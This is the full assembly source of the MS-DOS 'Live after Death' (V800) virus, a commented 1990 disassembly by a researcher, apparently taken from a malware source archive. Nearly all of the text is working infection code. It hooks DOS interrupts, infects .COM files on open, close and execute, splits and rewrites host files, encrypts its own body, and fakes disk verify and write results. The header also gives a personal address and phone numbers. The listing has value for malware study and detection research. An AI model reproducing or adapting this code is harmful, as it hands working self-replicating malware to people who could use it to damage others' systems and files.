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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.v800.asm

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2021-01-13 00:04:54 +00:00
page ,132
name V800
title The 'Live after Death' virus
.radix 16
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
; <20> Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", ap. 51 <20>
; <20> Telephone: Private: (+35-92) 58-62-61, Office: (+35-92) 71-401 ext. 255 <20>
; <20> <20>
; <20> The 'Live after Death' Virus <20>
; <20> Disassembled by Vesselin Bontchev, May 1990 <20>
; <20> <20>
; <20> Copyright (c) Vesselin Bontchev 1989, 1990 <20>
; <20> <20>
; <20> This listing is only to be made available to virus researchers <20>
; <20> or software writers on a need-to-know basis. <20>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
code segment
assume cs:code, ds:code
org 100
timer equ 46C
v_len = v_end-v_entry
start:
jmp v_entry ; JMP to the virus code
db 900d dup (90) ; The beginning of the infected program
v_entry: ; The virus body begins here
cli ; Disable interrupts
xchg ax,bp ; Save AX
call self ; Point SI at the start of the encrypted part
self:
pop si ; Get current address
add si,19 ; (v_start-self) Length of the decryption part
cld ; Clear direction flag
mov di,si ; Point DI at v_start too
xor dx,dx ; DX := 0 (the checksum is formed there)
mov cx,(v_end-v_start)/2 ; The length of the encrypted part
push cx ; Save it on stack
do_chksum: ; Compute the checksum of the encrypted part
lodsw ; Get word
xor dx,ax ; ChkSum ^= Word
loop do_chksum ; Loop until done
pop cx ; Restore length (in words) in CX
; Decrypt the encrypted part. XOR every word of it with the computed checksum.
decrypt:
xor [di],dx ; XOR a word
inc di ; Point to the next one
inc di
loop decrypt ; Loop until done
; The code beyond this point was encrypted. If this source is
; assembled now, it won't run, since the decryption part will
; scramble it. To produce a 'live' virus, the following code
; must be encrypted "manually" (i.e., with another program)
; after assembly.
v_start:
; Adjust SI to point at v_entry (it currently points at v_end):
add si,v_entry-v_end
mov bx,sp ; Install a new stack at the
mov cl,4 ; program's end - just to be sure
shr bx,cl ; that the original one won't
inc bx ; corrupt the virus
mov ax,ss
add bx,ax
mov cx,v_len/2 ; CX := virus length in words
mov di,4
mov ax,[di-2] ; Get TopMem segment (_psp [2])
dec dx ; Subtract 1 from the checksum
push ds ; Save DS & checksum on the stack
push dx
mov dx,ds ; DX := DS
mov ds,di ; Check if INT 2Ah is intercepted by a
cmp ax,[di+(2A*4+2-(4*10+4))] ; program at TopMem
je in_mem ; Virus present in memory if so
; Virus not in memory. Install it there:
sub ah,2 ; Reserve 8 K memory (?!)
cmp bx,ax ; Enough memory?
jae no_mem ; Exit if not
dec di ; Point DI at TopMem
dec di
stosw ; Lower TopMem by 8 K
dec dx ; Point ES at program's MCB
mov es,dx
sub byte ptr es:[di],2 ; Lower MCB's size by 8 K too
; Install the new INT 2Ah handler. This interrupt (funcrion 82h) is
; called by PC-DOS on every file-related function. Thus, the virus
; gets control without even intercepting INT 21h!
mov [di+(2A*4+2-(4*10+4))],ax ; Segment
in_mem:
mov word ptr [di+(2A*4-(4*10+4))],int_2A-v_entry ; Offset
push ax
les bx,[di+(13*4-(4*10+4))] ; Get the current INT 13h handler
mov ah,13 ; Get the original INT 13h handler
int 2F ; (DOS 3.30 only)
mov cs:[si+do_it_i+1-v_entry],bx ; Save the found vector as a
mov cs:[si+do_it_i+1+2-v_entry],es ; Far JMP in the virus body
mov ah,13 ; Restore the internal (DOS) INT 13h handler
int 2F
mov ax,es ; Get INT 13h handler's segment in AX
push cs ; DS := CS
pop ds
; Compare the segment of the found INT 13h handler with the
; one, stored as a Far JMP. If they match, this means that
; the virus is already present in memory (i.e., loaded for
; a multiple infected file).
les bx,[si+do_it_i+1-v_entry]
cmp ax,[si+do_it_i+1+2-v_entry] ; Virus already in memory?
pop ds ; Restore DS
pushf ; Save the result of the comparision on stack
push ds ; Save DS
mov dx,int_13i-v_entry ; Install new internal INT 13h handler
mov ah,13 ; Do it
int 2F
pop es ; ES := saved DS
xor di,di ; DI := 0
push si ; Save SI & CX
push cx
; Move the virus body in the allocated segment at TopMem:
rep movs word ptr es:[di],word ptr cs:[si]
push es ; ES := DS
pop ds
mov [di+0A],cl ; Zero old_op
pop cx ; Restore CX & SI
pop si
pop [di+8] ; flags (i.e. - virus installed)
pop [di+6] ; chksum-1
no_mem:
pop es ; Clear the stack
sti ; Enable interrupts
push cs ; DS := CS
pop ds
mov di,offset start-2 ; DI := 0FEh
push di ; Push this value in the stack
mov ax,0A5F3 ; Store REP MOVSW there
stosw
push si ; Save SI
add si,first3-v_entry ; Point SI at the saved first 3 bytes
movsw ; Restore the original first 3
movsb ; bytes of the file
pop di ; DI := saved SI
lodsw ; Get the offset at which the file was split
xchg ax,si ; Put it in SI
add si,offset start ; Adjust it with the PSP length
xchg ax,bp ; Restore AX (to keep DISKCOPY happy)
; On the top of stack now there is 0FEh. Therefore, the RET instruction
; will transfer the control to the program at this address. And at this
; address there is the REP MOVSW instruction (put there by the virus).
; Therefore, it will restore the second part of the file (split by the
; virus) and will begin to execute it from the beginning (the first 3
; bytes are already restored).
ret
; Infection routine:
infect:
push cx ; Save registers used
push dx
push si
push di
push ds
push es
xor cx,cx ; DS := AX := 0; CX = function
xchg ax,cx
mov ds,ax
push cs ; ES := CS
pop es
mov di,do_it+1-v_entry ; Install new INT 13h handler
mov si,13*4
mov ax,int_13-v_entry ; New handler's offset
xchg ax,[si]
stosw ; Save the old one as a Far JMP
push ax ; Save it on the stack too
mov ax,es ; Do the same with the handler's segment
xchg ax,[si+2]
stosw
push ax
mov ax,int_24-v_entry ; Install new INT 24h handler
xchg ax,[si+24*4-13*4]
push ax ; Save the old one on the stack
mov ax,es ; Do the same with the handler's segment
xchg ax,[si+24*4-13*4+2]
push ax
push ds ; Save DS & SI (0 and 13*4 respectively)
push si
xor dl,dl ; Turn Ctrl-Break checking off
mov ax,3302 ; and get the old checking state
int 21
push dx ; Save state on stack
mov ax,1220 ; Get system file table number in ES:DI
int 2F ; Do it
jc inf_xit ; Exit on error
push bx ; Save BX
mov bl,es:[di] ; Put system file table number in BL
mov ax,1216 ; Get address of system FCB in ES:DI
int 2F ; Do it
pop bx ; Restore BX
jc inf_xit ; Exit on error
mov si,ds:[timer] ; Load SI with a random value
push es ; DS := ES
pop ds
mov cl,80 ; Prepare to test if it's a disk file
cmp ch,3E ; Close file operation requested?
jne dont_dup ; Don't duplicate handle if so
mov ah,45 ; Otherwise do it
int 21
jc inf_xit ; Exit on error
xchg ax,bx ; Save handle in BX
; Prepare to test for disk file and wheather file has been written:
mov cl,0C0
dont_dup:
and cl,[di+5] ; Test the Device Info Word
jnz inf_xit ; Exit if test fails
xor dx,dx ; DX := 0
cmp dx,[di+13] ; Is file size > 64 K?
jne inf_xit ; Exit if so
mov ax,[di+28] ; Get the first 2 bytes of the file extension
cmp ax,'XE' ; .EXE-file?
je chk_last ; Go check the last letter too
cmp ax,'OC' ; Maybe it's a .COM-file?
jne chk_exec ; If not, try to infect it only on execution
cmp ax,[di+20] ; Is this the file "COMM*.CO*"?
mov ax,'MM'
jne chk_last ; If not, check wheather it really has
cmp ax,[di+22] ; a .COM extension
je inf_xit ; Otherwise exit
chk_last:
cmp al,[di+2A] ; Check the last letter of file's extension
je chk_len ; Check the file size if name does match
chk_exec:
cmp ch,4Bh ; Exec function requested?
jne inf_xit ; Exit if not
; Check if file length fits in the infectable intervals.
; The infectable intervals are:
; 1024 - 8191 ( 0400h - 1FFFh)
; 9216 - 16383 ( 2400h - 3FFFh)
; 17408 - 24575 ( 4400h - 5FFFh)
; 25600 - 32767 ( 6400h - 7FFFh)
; 33762 - 40959 ( 8400h - 9FFFh)
; 41984 - 49151 (0A400h - 0BFFFh)
; 50176 - 57343 (0C400h - 0DFFFh)
; 58368 - 64511 (0E400h - 0FBFFh)
chk_len:
test byte ptr [di+12],00011100b
jz inf_xit ; Exit if not in an infectable interval
cmp byte ptr [di+12],11111100b
jb len_ok
inf_xit: ; File not suitable for infection
jmp close ; Close it and exit
len_ok:
mov ax,[di+11] ; Get file size (from the internal FCB)
xchg ax,si ; Put it in SI (the random value is now in AX)
xchg al,ah ; "Randomize" it a bit more
push si ; Save SI (pointed at file end)
; Compute in DX the random position at which the file will be split:
sub si,3
div si ; DX := ((f_size - 3) mod rand ()) + 3
add dx,3
lds si,[di+7] ; Get Device Control Block info
cmp byte ptr [si+8],2 ; Is the number of FATs >= 2? (?!)
pop si ; Restore SI (to point at file end)
jb inf_xit ; Exit if not (only 1 FAT, that is)
mov byte ptr es:[di+2],10b ; Set file open mode to writable
xor ax,ax
xchg ax,es:[di+15] ; Get file position in AX and seek to file beg.
push ax ; Save original position on stack
push cs ; DS := CS
pop ds
push dx ; Save computed split position on stack
mov dx,first3-v_entry
mov cx,3 ; Read the first 3 bytes of the file
mov ah,3F ; and save them in the virus body
int 21 ; Do it
pop ax ; Restore split position from stack
jc xit1 ; Exit on error
mov es:[di+15],ax ; Seek at split position
sub ax,3 ; Form a JMP instruction to that position
mov ds:[jmp_adr-v_entry],ax ; at jmp_op
mov ax,ds:[first3-v_entry] ; Get the first 2 bytes of the file
cmp ax,'ZM' ; Is it an .EXE-type file?
je xit2 ; Exit if so
cmp ax,'MZ' ; Double check for .EXE-files
je xit2 ; Exit if such file
mov dx,buffer-v_entry
mov cx,v_len ; Read the original (up to v_len)
mov ah,3F ; bytes into the buffer
int 21 ; Do it
xit1:
jc xit2 ; Exit on error
; Get the number of bytes read in CX and put the virus length in AX:
xchg ax,cx
; SI points at file end. Add the virus length to get the new file size:
add si,ax
; Now subtract the number of bytes read in, just to compute
; the offset from the beginning of the file, at which the
; second part of the splitted file has to be written:
sub si,cx
mov es:[di+15],si ; Seek at the computed offset
mov ah,40 ; Write the original second part of the file
int 21 ; Do it
jc xit2 ; Exit on error
sub ax,cx ; All bytes written?
jnz xit2 ; Exit on error
xchg ax,si ; SI := 0; AX := split position
mov ds:[split-v_entry],ax ; Save split position in the virus body
mov ax,ds:[jmp_adr-v_entry] ; Get the computed new JMP address
add ax,3
mov es:[di+15],ax ; And seek to that address in the file
push dx ; Save DX (currently points at the buffer area)
xor dx,dx ; DX := 0 (the checsum is formed there)
mov cx,v_len/2 ; Virus length in words
; Compute the new checksum of the virus and use it to encrypt the virus:
encrypt:
lodsw ; Get a word from the virus body
db 81, 0FE, 20, 0 ; I was unable to make MASM generate this (?!)
; cmp si,v_start-self+1
jb no_crypt ; Don't encrypt the decryption part
xor ax,ds:[chksum-v_entry] ; Compute the checksum
xor dx,ax
no_crypt:
mov word ptr [si+(data_1-v_entry)],ax ; Encrypt with it
loop encrypt ; Loop until done
xor dx,ds:[chksum-v_entry] ; Save the checksum
xor [si+2F3],dx ; (?!)
pop dx ; Restore DX (to point to the buffer area)
mov cx,v_len ; Write the virus body in the file
mov ah,40
int 21 ; Do it
jc xit2 ; Exit on error
sub ax,cx ; All bytes written?
jnz xit2 ; Exit on error
mov es:[di+15],ax ; Seek to file beginning (AX == 0 now)
mov dx,jmp_op-v_entry
mov cx,3 ; Overwrite the first 3 bytes of the file
mov ah,40 ; with a JMP to the virus code
int 21 ; Do it
xit2:
pop word ptr es:[di+15] ; Restore file position
or byte ptr es:[di+6],40 ; Set 'File Modified' bit
close:
mov ah,3E ; Close the file
int 21
pop dx ; Restore Ctrl-Break state from stack
mov ax,3301 ; Set old Ctrl-Break state
int 21
pop si ; Restore SI & DS (13*4 and 0 respectively)
pop ds
pop word ptr [si+24*4+2-13*4] ; Restore the old
pop word ptr [si+24*4-13*4] ; INT 24h handler
pop word ptr [si+2] ; Restore the old INT 13 handler
pop word ptr [si]
pop es ; Restore used registers
pop ds
pop di
pop si
pop dx
pop cx
ret ; Done. Exit
; New INT 2Ah, subfunction 82h handler. DOS calls
; this function on every file-related operation.
int_2A:
push si ; Save registers used
push di
push bp
push ds
push es
mov bp,sp
cmp ah,82 ; Function 82h?
jne int2A_xit ; Exit if not
mov ax,ds ; Is the current DS equal to caller's CS?
cmp ax,[bp+0C]
jne int2A_xit ; Exit if not
mov si,[bp+0A] ; Get the byte at caller's CS:IP
lodsb
cmp al,0CC ; Is it an INT3 instruction?
je int2A_xit ; Exit if so
mov ax,1218 ; Get caller's registers
int 2F
les di,[si+12] ; CS:IP, more exactly
cmp byte ptr es:[di],0CC ; Is there an INT3 instruction?
je int2A_xit ; Exit if so
mov ax,cs ; Called from the current segment
cmp ax,[si+14] ; (i.e., from the virus)?
je int2A_xit ; Exit if so
cmp word ptr es:[di-2],21CDh ; Called from INT 21h?
jne int2A_xit ; Exit if not
push cs ; ES := CS
pop es
mov di,v_len ; Point ES:DI at virus length
lodsw ; Get caller's AX
mov bp,ax ; Save it in BP
sub ah,3Dh ; Open file handle function requested?
je ok4inf ; OK for infection if so
dec ah ; Close file function requested?
je ok4inf ; OK for infection if so
sub ah,0Dh ; Exec function requested?
jne int2A_xit ; Exit if not
cmp al,2 ; Subfunctions 0 or 1?
jae int2A_xit ; Exit if not
; Now AH == 0. Check to see if count (ES:[DI-3E]) is zero too.
; If it's not, that would mean that this file handle belongs
; to an already infected by the virus file.
ok4inf:
cmp ah,es:[di-3E] ; Is count equal to zero?
mov cs:[di-3E],ah ; Zero count
jne int2A_xit ; Exit if not
mov bl,0C2 ; Othewise scramble BX (?!)
; Get the caller's CS:IP and save them as a Far JMP (just at v_end).
; Also, modify them to point at the program at loc_1. In this way,
; when the INT 2Ah handler terminates, the program at loc_1 will
; receive control. It will (eventually) infect the file and then
; perform a Far JMP to the place, where INT 2Ah was called.
mov ax,loc_1-v_entry ; Offset
xchg ax,[si+10] ; Shouldn't it be [si+14]? (?!)
dec ax
dec ax
stosw
mov ax,cs ; Segment
xchg ax,[si+12]
stosw
xchg ax,bp ; Restore AX from BP
stosw ; And save it in old_ax
int2A_xit:
pop es ; Restore used registers
pop ds
pop bp
pop di
pop si
; New INT 24h handler. Just terminate; AH
; already contains the suggested action.
int_24:
iret ; End of INT 2Ah and INT 24h handlers
int_13i: ; New internal INT 13h handler
cmp byte ptr cs:[old_op-v_entry],0 ; Iterrupt called from virus?
je do_it_i ; If not, just perform it "as is"
xor ah,ah ; Else zero the old_op flag and call the
xchg ah,byte ptr cs:[old_op-v_entry] ; interrupt with the true value
do_it_i:
db 0EA, 71, 0A9, 0, 0F0 ; Far JMP to old intern INT 13h handler
int_13: ; New INT 13h handler
mov byte ptr cs:[old_op-v_entry],ah
cmp ah,4 ; VERIFY operation specified?
je verify ; Return OK without performing it
cmp ah,3 ; WRITE operation requested?
jne do_it ; Just execute the old handler if not
push cs:[flags-v_entry]
popf ; What was the flags state?
jz do_it_i ; Execute operation if flags OK
dec ah ; Otherwise fake a READ operation
do_it:
db 0EA, 1F, 1Dh, 70, 0 ; Far JMP to old INT 13h handler
verify:
sub ax,ax ; Return 'No errors' (AX == 0 && CF == 0)
sti ; Enable interrupts
retf 2 ; Done. Exit
count db 1 ; Counter how many times the file is infected
first3 db 0E9, 0F8, 3 ; The first 3 bytes of the file
split dw 6A7 ; Address at which the file was split
dw 46BC ; (?!)
jmp_op db 0E9 ; Here a JMP to the virus code is formed
jmp_adr dw 384 ; The addres at which is JMPed
db 0, 'Live after Death', 0
loc_1:
pushf ; Save Flags
cli ; Disable interrupts
push bx ; Save BX
cld ; Clear direction flag
inc byte ptr cs:[count-v_entry] ; Increment infection counter
cmp ah,3E ; CLOSE function call?
je do_inf ; Just infect file if so
xchg ax,bx ; Otherwise get handle in BX
mov ax,3D00 ; Open the file for Reading only
int 21
jc dont_inf ; Don't infect if an error occured
xchg ax,bx ; Get handle in BX
do_inf:
call infect ; Infect the file
dont_inf:
mov ax,cs:[old_ax-v_entry] ; Restore caller's AX
pop bx ; Restore BX
popf ; Restore Flags
; Here is formed a Far JMP to the program, which called INT 2Ah, function 82h:
db 0EA
v_end equ $ ; End of virus code
old_ax equ v_end+4 ; Place to store caller's AX
chksum equ old_ax+2 ; Here a checksum is formed for encryption
flags equ chksum+2 ; Flag
data_1 equ flags+1 ; (?!)
old_op equ data_1+1 ; The last INT 13h operation
buffer equ old_op+1 ; Program I/O buffer
db 116d dup (90) ; The second part of the infected program
mov ax,4C00 ; Exit program
int 21
code ends
end start

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